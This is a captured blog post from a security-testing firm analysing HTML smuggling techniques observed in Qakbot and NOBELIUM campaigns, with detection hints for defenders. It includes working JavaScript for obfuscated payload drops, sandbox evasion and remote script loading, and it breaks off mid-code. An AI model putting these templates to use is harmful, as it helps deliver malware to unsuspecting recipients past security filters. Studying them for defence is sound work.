blog.delivr.to
Open in
urlscan Pro
162.159.153.4
Public Scan
Submitted URL: https://blog.delivr.to/html-smuggling-recent-observations-of-threat-actor-techniques-74501d5c8a06?utm_source=The+InQues...
Effective URL: https://blog.delivr.to/html-smuggling-recent-observations-of-threat-actor-techniques-74501d5c8a06?gi=d02b86da2238&utm_c...
Submission: On April 28 via manual from IN — Scanned from DE
Effective URL: https://blog.delivr.to/html-smuggling-recent-observations-of-threat-actor-techniques-74501d5c8a06?gi=d02b86da2238&utm_c...
Submission: On April 28 via manual from IN — Scanned from DE
Form analysis
0 forms found in the DOMText Content
Open in app Sign up Sign In Write Sign up Sign In delivr.to Follow Jan 6 · 23 min read · Listen Save HTML SMUGGLING: RECENT OBSERVATIONS OF THREAT ACTOR TECHNIQUES HTML smuggling isn’t a new technique by any means, but its utility and flexibility make it a potent technique that still proves effective for threat actors today. For some actors, e.g. those delivering Qakbot, HTML smuggling is leveraged to deliver malicious content (typically ISOs or ZIPs with the eventual payload inside). Rich HTML content is often used to present the page as a fake Google Drive or Adobe-branded site (among many others) with the JavaScript unpacking and serving the payload. You can see an example of that on ANY.RUN below, and a recreated payload on delivr.to here. OVERDUE#8500.HTML (MD5: 01D7ECF62BE2C81BD134AF488478E00B) - INTERACTIVE ANALYSIS - ANY.RUN INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run Others have been observed leveraging HTML smuggling to present fake login pages for the usual suspects, like Microsoft 365. This can be advantageous to an attacker, as the login page is programmatically generated, often displaying the recipient’s email address to add some legitimacy, and served locally on the target endpoint, rather than being hosted on the internet. Update #1 (31/03/2023) — AES Encryption Example Added Update #2 (17/04/2023) — Inline Download NOTABLE HTML SMUGGLING TECHNIQUES At delivr.to, we’re always on the lookout for interesting malware samples that leverage noteworthy techniques for us to emulate in order to continuously test defences. As such, we’ve aggregated some of these techniques in this blog that we think would be of interest to defenders and offensive security practitioners alike. For this blog we’ll focus largely on techniques for the smuggling of an eventual payload, though many techniques can be applied to the Credential Theft tactic as well. These can loosely be split into two categories, though there’s some overlap between them: * Payload obfuscation — How can we transform our smuggled payload, e.g. an ISO disk image, in the HTML file to evade static scanners? * Payload delivery — How can we initiate the unpacking/download of our payload? Potentially taking steps to ensure this happens at the right time, on target, rather than in a sandbox or under some other dynamic analysis. PAYLOAD OBFUSCATION For those well-versed in HTML smuggling and payload obfuscation techniques in general, much of this will likely be old news to you. Though the prevalence and in-the-wild usage of the techniques may still come as a surprise. We’ll talk about the following techniques: * Base64 * Reversed Base64 * XOR * Hexadecimal BASE64 Arguably, Base64 is the most straightforward means of embedding payload content into an HTML file. We can see a great example of this from Outflank’s blog, reproduced below: ... function base64ToArrayBuffer(base64) { var binary_string = window.atob(base64); var len = binary_string.length; var bytes = new Uint8Array( len ); for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); } return bytes.buffer; } var file ='<< BASE64 ENCODING OF MALICIOUS FILE >>'; var data = base64ToArrayBuffer(file); var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'outflank.doc'; if(window.navigator.msSaveOrOpenBlob) window.navigator.msSaveBlob(blob,fileName); else { var a = document.createElement('a'); document.body.appendChild(a); a.style = 'display: none'; var url = window.URL.createObjectURL(blob); a.href = url; a.download = fileName; a.click(); window.URL.revokeObjectURL(url); } > Outflank also provide a test file demonstrating this technique, here. From a defensive standpoint, it is relatively trivial to identify common file types that have been Base64 encoded, based on the first few encoded bytes (i.e. the file header). A couple of examples include: * TV…. — Encoded ‘MZ’ header of an executable file. * UE… — Encoded ‘PK’ header of a Zip file (or new format Office doc). > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here. REVERSED BASE64 One simple way to (slightly) improve evasion is to reverse the Base64 encoded payload string. This is something that’s been seen for Qakbot delivery quite recently. You can see an example below: EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5… INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run We can recreate this sample with the following adapted code snippet: ... <div id='b' class='e' data="reversed_b64_payload"></div> <script> document.body.onload = function (){ var f = deobf(document.getElementById("b").getAttribute("data")); trigger(to_blob(f, 512)); }; function reverse_str(in_str) { var out_str = ""; for (var i = in_str.length - 1; i >= 0; i--) { out_str += in_str[i]; } return out_str; } function deobf(a) { return reverse_str(a); } function to_blob(b64_blob, chunk_size) { var payload = []; var blob_bytes = atob(b64_blob); for(var i = 0; i < blob_bytes.length; i += chunk_size) { var blob_chunk = blob_bytes.slice(i, i + chunk_size); var b_array = new Array(blob_chunk.length); for(var a = 0; a < blob_chunk.length; a++) { b_array[a] = blob_chunk.charCodeAt(a); } var uint_array = new Uint8Array(b_array); payload.push(uint_array); } var out = new Blob(payload, {type: "octet/stream"}); return out; } function trigger(out) { let fd = new File([out], "attachment.iso", {type: "octet/stream"}); let fd_url = URL["createObjectURL"](fd); var a = document.createElement("a"); document.body.appendChild(a); a.setAttribute("href",fd_url); a.download = 'attachment.iso'; a.click(); URL.revokeObjectURL(fd_url); } </script> This code is pretty similar to the first example from Outflank, just with an added function that reverses the encoded string prior to initiating the local file download. > Note here the use of <div> elements to move the high entropy payload content > out of the <script> block. While this does obscure our payload slightly, it’s still trivial to reliably detect these strings when we know what to look for. > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here and a live demo which smuggles an ISO here. HEXADECIMAL An alternative way to represent our payload content, also observed in the wild, is in a hexadecimal byte array, rather than the previous encoded strings we’ve seen. Using the JavaScript fromCharCode function, we can convert the hexadecimal characters in our array to the raw bytes of our original file, before passing on to subsequent functions to trigger the download. Here’s an example code snippet using hex encoding (where the trigger function has been omitted, as it’s the same as the above sample): ... <script> document.body.onload = function (){ let f = ['0x50', '0x4b', '0x3', ...]; trigger(to_blob(hex_to_bin(f), 512)); }; function hex_to_bin(in_buf) { out = ""; str = String; for (let b of in_buf){ out += str["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](b); } return out; } function to_blob(blob_bytes, chunk_size) { var payload = []; for(var i = 0; i < blob_bytes.length; i += chunk_size) { var blob_chunk = blob_bytes.slice(i, i + chunk_size); var b_array = new Array(blob_chunk.length); for(var a = 0; a < blob_chunk.length; a++) { b_array[a] = blob_chunk.charCodeAt(a); } var uint_array = new Uint8Array(b_array); payload.push(uint_array); } var out = new Blob(payload, {type: "octet/stream"}); return out; } function trigger(out) { ... } </script> There’s a couple of things to note in this code snippet. Firstly, the to_blob function is slightly different to the previous example, in that it doesn’t first decode from Base64 with the atob function (that might be obvious, given we’re not using that encoding here!). Secondly, the obfuscation of the fromCharCode function (as used in the original sample)- this is interesting as it shows a simple example of the possibilities for obfuscating and calling JavaScript functions (rather than just obfuscating variable names). From an offensive standpoint, clearly we’ve removed the Base64-encoded string content — which is an improvement! But this approach is still just another representation of predictable file content (i.e. file headers!), as we can see from the first couple of bytes in the array, 0x50 and 0x4b, which when converted from hex produce the PK file header of a ZIP file! Converting our initial hex array entries to binary with CyberChef > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here and a live demo which smuggles a zipped ISO here. XOR Improving on the encoding strategy, we can turn to encryption to protect our payload and remove the telltale strings (or hex characters!) that indicate file content. One such encryption method seen from threat actors is an XOR cipher. We can see an example of this here (note the commonly-abused Google Drive background!): PO-12-5-2022.HTML (MD5: 7779D429E7E17385F55B48880F0989CF) - INTERACTIVE ANALYSIS - ANY.RUN INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run Adapting from the malware sample above, we can achieve XOR encryption of our Base64 encoded payload as below (where the to_blob and trigger functions are identical to those of the ‘reversed base64' sample): ... <div id='b' class='e' data="xor_payload"></div> <div id='wjcwgcvg' class='kmoitfcv' data="encryption_key"></div> <script> document.body.onload = function (){ var f = xor_func(document.getElementById("b").getAttribute("data"), document.getElementById('wjcwgcvg').getAttribute('data')); trigger(to_blob(f, 512)); }; function xor_func(crhvmojz,hkusixgc) { crhvmojz = atob(crhvmojz); var mohcsjnh = '' for(var i=0; i<crhvmojz.length; i++) { mohcsjnh += String.fromCharCode(crhvmojz.charCodeAt(i) ^ hkusixgc[i%hkusixgc.length].charCodeAt(0)) } return mohcsjnh; } function to_blob(b64_blob, chunk_size) { ... } function trigger(out) { ... } </script> > Here we can see, once again, the payload content is in a separate <div> > element, as well as the encryption key. Notably, this XOR technique was also employed by NOBELIUM, as can be seen in the code sample from one of their HTML initial access payloads: NOBELIUM EnvyScout XOR technique (taken from Microsoft’s blog) With this method we’ve now removed the detectable static string indicators of Base64-encoded (and reversed), commonly abused file types, though there’s still many suspect functions — like createObjectURL — in our smuggling boilerplate functions (not to mention, high entropy) that we’ll look to address in the second half of this blog! > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here and a live demo which smuggles a zipped ISO here. PAYLOAD DELIVERY Assuming a threat actor can evade a static scanner with the above payload obfuscation, they’ll then need to focus on how to initiate the unpacking and delivery of the payload, whilst taking steps to ensure it evades sandbox analysis. We’ll talk about the following techniques we’ve seen from recent samples: * Update #2 (17/04/2023) — Inline Download * ‘mousemove’ JavaScript Event Listener * User-Agent Check * Image OnError Code Evaluation (Local and Remote JS) * SVG Image Code Execution * SetTimeout Hex-String Map * Update #1 (31/03/2023) — AES Encryption with User-provided Password INLINE DOWNLOAD Recent (April ’23) Qakbot samples have leveraged button-triggered downloads of smuggled script files (e.g. wsf scripts). An example of this can be seen below: ANALYSIS STATUSUPDATE 331708 APR 4.XHTML (MD5: DFC1983C3E7A041BA251B2310B6D1524) NO THREATS… INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run Rather than leverage some of the more convoluted payload obfuscation and delivery mechanisms previously observed, this technique embeds the Base64-encoded payload inline in an HTML anchor element (<a> tag) that can be used in conjunction with a button, or similar. The technique is pretty concise and can be demoed in the eight or so lines below: <!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <body> <a href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank"> <button type="submit">Download</button> </a> </body> </html> As discussed earlier in this blog, Base64 encoding of payloads in this way can leave static strings that are tell-tale signs of file format headers, like Zips and ISOs. Following a recent exploration into OneNote payload delivery however, Qakbot’s return to HTML smuggling appears to have coincided with a shift away from heavyweight container formats like ISOs, to comparatively lightweight, heavily-obfuscated script formats (i.e. text files with no predictable file headers) as the first stage, subsequently pulling down further files to complete infection. Noticeably, the above Qakbot sample leverages the .xhtml (eXtended HTML document format), which could be an effort to evade file extension based rules. While no <script> blocks are present in the above code snippet, the extended HTML document formats (.xht, .xhtm, .xhtml) can support them, so long as the JavaScript content is wrapped in a CDATA section. An example of this can be seen below, where we automate the download of our previously button-triggered inline payload. <!DOCTYPE html> <html lang="en" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <body> <a id="download" href="data:application/octet-stream;base64,QSBkZWxpdnIudG8gLnR4dCB0ZXN0IGZpbGU=" download="test.txt" target="_blank"> </a> </body> <script> <![CDATA[ document.getElementById("download").click(); ]]> </script> </html> > You can find a variety of Extended HTML format samples for testing via email > and link delivery in delivr.to’s collection, including here and here. ‘MOUSEMOVE’ JAVASCRIPT EVENT LISTENER In recent Qakbot samples, malware hunter @pr0xylife highlights the addition of a ‘mousemove’ JavaScript event listener. Event listeners allow for code to be executed in response to actions taking place on a web page, e.g. button clicks and mouse overs, among others. In the sample below, the malware authors have leveraged the ‘mousemove’ event listener to ensure that the file download only occurs when the user interacts with the page, adding an evasive element that could improve deliverability if sandboxes don’t simulate web page interaction! EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5… INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run Adapted from the sample above, this code snippet demonstrates the simplicity in adding a page-wide event listener for user interaction: document.addEventListener("mousemove", function() { trigger(); }); > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here and a live demo which smuggles an ISO here. USER-AGENT CHECK As well as triggering upon user interaction, malware authors have also been observed filtering by user agent. PO-12-5-2022.HTML (MD5: 7779D429E7E17385F55B48880F0989CF) - INTERACTIVE ANALYSIS - ANY.RUN INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run Our XOR encryption sample from above, demonstrates this technique with the below code snippet: if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|BB|PlayBook|IEMobile|Windows Phone|Kindle|Silk|Opera Mini/i.test(navigator.userAgent)) {return} Here the target’s user agent is compared to a list of unwanted platforms, and if it matches, the code block will return and not continue with the file download. IMAGE ONERROR CODE EVALUATION While the first section of the blog looked at ways in which threat actors are hiding their payloads in HTML content, the common functions used to achieve this (creation of Uint8Array, charCodeAt and createObjectURL functions, etc.) can still serve as static signatures. To address this, we’ll look at a clever solution employed by a sample to hide the smuggling code, and remove <script> tags from the HTML file completely. This payload will require a couple of stages to create. Our stage one code we’ll keep simple and use the Base64-encoded payload download from earlier. function to_blob(b64_blob, chunk_size) { ... } function trigger(out) { ... } var b64_blob = 'b64_payload'; var out = to_blob(b64_blob, 512); trigger(out); We then Base64 this JavaScript into a second code block: var is_null = document; const scr = is_null.createElement('sc'.concat('ript')); while (true){ var not_is = scr; not_is.innerHTML = atob('b64_stage_one') is_null.head.appendChild(not_is); break; } There is some light obfuscation here, but it’s reasonably clear that we’re decoding our Base64 JavaScript blob, and adding it as a new script element to the page. To finally leverage the OnError technique, we’re Base64 encoding our script block once more, then wrapping it in nested eval(atob()) functions in the OnError attribute of an <img> tag. <body> <img src="x" style="display:none" onerror="eval(atob('b64_stage_two'))"> </body> When rendered, the image will fail to load by design (as our src attribute points to a nonexistent resource), triggering the first code snippet which will add a new script to the DOM, which will then initiate our file download. An obvious advantage to this technique is the absence of <script> tags in the HTML file, as all our inline JavaScript is unpacked upon page-load. With this implementation, all JavaScript is contained within the delivered HTML attachment, but this doesn’t have to be the case. We could switch out our second stage code block for the following: var is_null = document; const scr = is_null.createElement('sc'.concat('ript')); while (true){ var not_is = scr; not_is.src = 'https://files.delivrto.me/smug.js'; //<- remote JS // or base64 encoded // not_is.src = atob('base64_remote_js_url_file'); is_null.head.appendChild(not_is); break; } > Note that the innerHTML has been replaced with a src attribute. Now we’re > specifying a remote JavaScript file to load, which ultimately contains our > smuggling code. While this does introduce external dependencies that would need to be successfully pulled down to the endpoint to load, from a static analysis perspective, this prevents our file having the tell-tale signs of HTML smuggling with a mammoth Base64 string of our double-encoded ZIP file. > You can find a sample of the local script loading variation of this technique > for testing via email and link delivery in delivr.to’s collection here, and a > live demo which smuggles a zipped ISO here. The remote variation can be found > in delivr.to’s collection here and a demo here. SVG IMAGE CODE EXECUTION Another comparable technique, employed for QakBot delivery, is the use of an SVG image for JavaScript code execution. We can see an example of this here (complete with another fake Google Drive background): EF43AD2327C74D2AC4343209325B004A15F4F858BB68E871ADCCA5A320573025.HTML (MD5… INTERACTIVE MALWARE HUNTING SERVICE. LIVE TESTING OF MOST TYPE OF THREATS IN ANY ENVIRONMENTS. NO INSTALLATION AND NO… app.any.run This requires a nested encoding of code blocks as before. Here’s our first block which is the SVG image XML with a <script> element containing our boilerplate code within it. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" xmlns="http://www.w3.org/2000/svg"> <circle cx="1" cy="1" r="1" fill="red" /> <script type="text/javascript"> <![CDATA[ function to_blob(b64_blob, chunk_size) { ... } function trigger(out) { ... } var content = 'base64_payload'; var blob = to_blob(content, 512); trigger(blob); ]]> </script> </svg> This can then be placed in the HTML file, for the sample above, this code leveraged a reversed Base64 payload: <body onload="init()"> <script> function rev(s) { return s.split("").reverse().join(""); } function init() { var data = "data:image/svg+xml;base64,"; var embed = document.createElement("embed"); embed.setAttribute("width", 1); embed.setAttribute("height", 1); embed.setAttribute("src", data + rev("reversed_b64_payload")); document.body.appendChild(embed); } </script> Conceptually, this is very similar to the OnError technique, where JavaScript content is being dynamically added to the page. Though this implementation does use a <script> element in the HTML attachment to embed the SVG image on page load. An interesting detection artefact of this Qakbot delivery approach is the double-encoded ZIP file header strings it produces. A great Yara rule from Florian Roth identifies these file headers: SIGNATURE-BASE/MAL_QBOT_PAYLOADS.YAR AT MASTER · NEO23X0/SIGNATURE-BASE YOU CAN'T PERFORM THAT ACTION AT THIS TIME. YOU SIGNED IN WITH ANOTHER TAB OR WINDOW. YOU SIGNED OUT IN ANOTHER TAB OR… github.com An implementation of Florian’s rule as an MQL rule for Sublime can also be seen here: SUBLIME-RULES/ATTACHMENT_HTML_SMUGGLING_DOUBLE_ENCODED_ZIP.YML AT MAIN ·… SUBLIME RULES FOR PHISHING DETECTION, PREVENTION, AND THREAT HUNTING. … github.com Further, the use of the OnError technique and this SVG image embedding technique both result in the smuggled zip having a UUID filename (rather than the one specified in the original trigger() function). This could present a detection opportunity (coupled with a local HTML file being opened). Notably, for this technique, we could ensure our custom file name is used by embedding the SVG directly into the HTML, rather than adding it dynamically on page-load, though this has its own drawbacks in terms of static analysis. > You can find a full recreation of the Qakbot sample above for testing via > email and link delivery in delivr.to’s collection here and a demo video of the > sample below: SETTIMEOUT HEX-STRING MAP Our final smuggling technique, taken from this sample once more, shares similarities with the OnError image load and SVG image techniques already mentioned. <html> <script> let arrayBuffer = ['0x50', '0x43', '0x46', ...]; let signed_chars = [0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x14d,0x150,0x12f,0x14a,0x78,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x165,0x156,0x13b,0x15c,0x12f,0x78,0x123,0x15c,0x14d,0x126,0x78,0x15f,0x14a,0x159,0x13b,0x135,0x14a,0x12f,0x12c,0x11d,0x129,0x138,0x123,0x156,0x159,0x7b,0x7b,0xb1,0x12c,0x14d,0x129,0x15f,0x147,0x12f,0x14a,0x15c,0x8a,0x129,0x144,0x14d,0x159,0x12f,0x78,0x7b,0xb1,]; var unsigned_long = String; unsigned_chars = ""; for(let buffer of arrayBuffer){ unsigned_chars += unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](buffer); } setTimeout([...signed_chars].map((single_byte) => unsigned_long["edoCrahCmorf"["split"]("")["reverse"]()["join"]("")](single_byte/3))["join"]("")); </script> </html> Seen above, this technique leverages the setTimeout JavaScript function to evaluate and execute inline code upon page load. The sample consists of two hex arrays. The first, signed_chars, is a wrapper for our eventual HTML smuggling code and, when transformed, produces the following string: document.open();document.write(atob(unsigned_chars));document.close(); Much like the dynamic creation of new <script> elements we’ve seen previously, this goes one step further and uses the document.write() function to rewrite the entire page with the contents of our second hex array, arrayBuffer; once it’s been decoded to a Base64 string called unsigned_chars. You might recognise the familiar, reversed JavaScript function in the string ‘edoCrahCmorf’! Notably, the signed_chars array has each character multiplied by three before being embedded in the HTML file (note the ‘(single_byte/3)’ transform when unpacking the array), evading any static signatures for combinations of hex characters representing JavaScript functions. The original sample also applies this technique to the arrayBuffer array for the same reason, though we’ve simplified things slightly here. Our pre-encoded HTML block might look something like this, where we’re including the outermost <html> tags and page content, as well as the smuggling boilerplate we’ve been using all along. <!DOCTYPE html> <html lang="en-us"> <head> <title>Hex Array Map SetTimeout</title> </head> <body> <section class="a"> <header> <h1>delivr.to</h1> <h3>HTML Smuggling with Hex encoding, Map and SetTimeout</h3> <p>Download will start automatically!</p> </header> </section> <script> function to_blob(b64_blob, chunk_size) { ... } function trigger(out) { ... } var f = "{{PAYLOAD}}"; trigger(to_blob(f, 512)); </script> </body> </html> This implementation has the added benefit of concealing the entire page content ultimately being rendered and shown to the target user. So any common hallmarks of phishing attachments, like brand images or fake login portals are concealed. > You can find a sample of this for testing via email and link delivery in > delivr.to’s collection here and a live demo which smuggles a zipped ISO here. UPDATE #1 (31/03/2023) - AES ENCRYPTION WITH USER-PROVIDED PASSWORD Taking our combination of payload obfuscation and delivery methods even further, we could make use of encryption that relies on user-provided material to decrypt it. This might take the form of a fake file-sharing web page that requests a password, with credentials being sent separately. This technique has the benefit of requiring user interaction to trigger the download, which may evade automated analysis, while also more comprehensively protecting our payload against static analysis, ensuring we don’t fall foul of the predictable encoded strings we saw previously. In the example below, we’re implementing AES CTR block cipher decryption, as well as the supporting UTF-8 and Base64 encoding methods (replacing the commonly abused atob() function!). In this initial example, we’re implementing a hard-coded password (the word ‘password’!) that will decrypt the cipher text and provide us with the Base64-encoded payload (in the decryptedData variable). This could then be combined with something like our Base64 HTML smuggling example from Outflank to initiate the download. <script> var Aes = {}; Aes.cipher = function (input, w) { var Nb = 4; var Nr = w.length / Nb - 1; var state = [[],[],[],[]]; for (var i = 0; i < 4 * Nb; i++) state[i % 4][Math.floor(i / 4)] = input[i]; state = Aes.addRoundKey(state, w, 0, Nb); for (var round = 1; round < Nr; round++) { state = Aes.subBytes(state, Nb); state = Aes.shiftRows(state, Nb); state = Aes.mixColumns(state, Nb); state = Aes.addRoundKey(state, w, round, Nb); } state = Aes.subBytes(state, Nb); state = Aes.shiftRows(state, Nb); state = Aes.addRoundKey(state, w, Nr, Nb); var output = new Array(4 * Nb); for (var i = 0; i < 4 * Nb; i++) output[i] = state[i % 4][Math.floor(i / 4)]; return output; }; Aes.keyExpansion = function (key) { var Nb = 4; var Nk = key.length / 4; var Nr = Nk + 6; var w = new Array(Nb * (Nr + 1)); var temp = new Array(4); for (var i = 0; i < Nk; i++) { var r = [ key[4 * i], key[4 * i + 1], key[4 * i + 2], key[4 * i + 3] ]; w[i] = r; } for (var i = Nk; i < Nb * (Nr + 1); i++) { w[i] = new Array(4); for (var t = 0; t < 4; t++) temp[t] = w[i - 1][t]; if (i % Nk == 0) { temp = Aes.subWord(Aes.rotWord(temp)); for (var t = 0; t < 4; t++) temp[t] ^= Aes.rCon[i / Nk][t]; } else if (Nk > 6 && i % Nk == 4) { temp = Aes.subWord(temp); } for (var t = 0; t < 4; t++) w[i][t] = w[i - Nk][t] ^ temp[t]; } return w; }; Aes.subBytes = function (s, Nb) { for (var r = 0; r < 4; r++) { for (var c = 0; c < Nb; c++) s[r][c] = Aes.sBox[s[r][c]]; } return s; }; Aes.shiftRows = function (s, Nb) { var t = new Array(4); for (var r = 1; r < 4; r++) { for (var c = 0; c < 4; c++) t[c] = s[r][(c + r) % Nb]; for (var c = 0; c < 4; c++) s[r][c] = t[c]; } return s; }; Aes.mixColumns = function (s, Nb) { for (var c = 0; c < 4; c++) { var a = new Array(4); var b = new Array(4); for (var i = 0; i < 4; i++) { a[i] = s[i][c]; b[i] = s[i][c] & 128 ? s[i][c] << 1 ^ 283 : s[i][c] << 1; } s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3]; s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3]; s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3]; s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3]; } return s; }; Aes.addRoundKey = function (state, w, rnd, Nb) { for (var r = 0; r < 4; r++) { for (var c = 0; c < Nb; c++) state[r][c] ^= w[rnd * 4 + c][r]; } return state; }; Aes.subWord = function (w) { for (var i = 0; i < 4; i++) w[i] = Aes.sBox[w[i]]; return w; }; Aes.rotWord = function (w) { var tmp = w[0]; for (var i = 0; i < 3; i++) w[i] = w[i + 1]; w[3] = tmp; return w; }; Aes.sBox=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]; Aes.rCon=[[0x00,0x00,0x00,0x00],[0x01,0x00,0x00,0x00],[0x02,0x00,0x00,0x00],[0x04,0x00,0x00,0x00],[0x08,0x00,0x00,0x00],[0x10,0x00,0x00,0x00],[0x20,0x00,0x00,0x00],[0x40,0x00,0x00,0x00],[0x80,0x00,0x00,0x00],[0x1b,0x00,0x00,0x00],[0x36,0x00,0x00,0x00]]; Aes.Ctr = {}; Aes.Ctr.decrypt = function (ciphertext, password, nBits) { var blockSize = 16; if (!(nBits == 128 || nBits == 192 || nBits == 256)) return ''; ciphertext = Base64.decode(ciphertext); password = Utf8.encode(password); var nBytes = nBits / 8; var pwBytes = new Array(nBytes); for (var i = 0; i < nBytes; i++) { pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i); } var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes)); key = key.concat(key.slice(0, nBytes - 16)); var counterBlock = new Array(8); ctrTxt = ciphertext.slice(0, 8); for (var i = 0; i < 8; i++) counterBlock[i] = ctrTxt.charCodeAt(i); var keySchedule = Aes.keyExpansion(key); var nBlocks = Math.ceil((ciphertext.length - 8) / blockSize); var ct = new Array(nBlocks); for (var b = 0; b < nBlocks; b++) ct[b] = ciphertext.slice(8 + b * blockSize, 8 + b * blockSize + blockSize); ciphertext = ct; var plaintxt = new Array(ciphertext.length); for (var b = 0; b < nBlocks; b++) { for (var c = 0; c < 4; c++) counterBlock[15 - c] = b >>> c * 8 & 255; for (var c = 0; c < 4; c++) counterBlock[15 - c - 4] = (b + 1) / 4294967296 - 1 >>> c * 8 & 255; var cipherCntr = Aes.cipher(counterBlock, keySchedule); var plaintxtByte = new Array(ciphertext[b].length); for (var i = 0; i < ciphertext[b].length; i++) { plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i); plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]); } plaintxt[b] = plaintxtByte.join(''); } var plaintext = plaintxt.join(''); plaintext = Utf8.decode(plaintext); return plaintext; }; var Utf8 = {}; Utf8.encode = function (strUni) { var strUtf = strUni.replace(/[\u0080-\u07ff]/g, function (c) { var cc = c.charCodeAt(0); return String.fromCharCode(192 | cc >> 6, 128 | cc & 63); }); strUtf = strUtf.replace(/[\u0800-\uffff]/g, function (c) { var cc = c.charCodeAt(0); return String.fromCharCode(224 | cc >> 12, 128 | cc >> 6 & 63, 128 | cc & 63); }); return strUtf; }; Utf8.decode = function (strUtf) { var strUni = strUtf.replace(/[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g, function (c) { var cc = (c.charCodeAt(0) & 15) << 12 | (c.charCodeAt(1) & 63) << 6 | c.charCodeAt(2) & 63; return String.fromCharCode(cc); }); strUni = strUni.replace(/[\u00c0-\u00df][\u0080-\u00bf]/g, function (c) { var cc = (c.charCodeAt(0) & 31) << 6 | c.charCodeAt(1) & 63; return String.fromCharCode(cc); }); return strUni; }; var Base64 = {}; Base64.code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; Base64.encode = function (str, utf8encode) { utf8encode = typeof utf8encode == 'undefined' ? false : utf8encode; var o1, o2, o3, bits, h1, h2, h3, h4, e = [], pad = '', c, plain, coded; var b64 = Base64.code; plain = utf8encode ? str.encodeUTF8() : str; c = plain.length % 3; if (c > 0) { while (c++ < 3) { pad += '='; plain += '\0'; } } for (c = 0; c < plain.length; c += 3) { 